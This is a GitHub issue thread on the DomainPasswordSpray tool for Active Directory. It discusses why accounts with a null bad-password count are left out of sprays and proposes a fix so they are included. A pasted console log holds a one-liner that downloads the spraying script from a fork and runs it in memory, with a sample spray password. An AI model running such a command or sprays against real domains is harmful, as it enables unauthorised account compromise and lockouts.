dafthack/DomainPasswordSpray

Users with badPwdCount = $null are excluded by default

martinsohn opened this issue · 1 comments

This causes users that have badPwdCount = $null to be excluded from the password spray.
Is there a reason for this or just a mistake?

Value could for example be $null if:

  1. User never logged on
  2. User never typed password wrong
  3. We have 'deny read' on the attribute

The last one seems a bit dangerous to ignore.

Fix would be to add else statement, where $attemptsuntillockout is still checked but $observation_window is ignored.

`PS C:\Windows\System32\WindowsPowerShell\v1.0> iex ((New-Object System.Net.WebClient).DownloadString('https://raw.github
usercontent.com/bluecurby/DomainPasswordSpray/master/DomainPasswordSpray.ps1')); Invoke-DomainPasswordSpray -Password Zo
mer2023!
iex : At line:467 char:40
if($badcount -eq "null")
~
Missing statement block after if ( condition ).
At line:1 char:1
iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercon ...

    CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    FullyQualifiedErrorId : MissingStatementBlock,Microsoft.PowerShell.Commands.InvokeExpressionCommand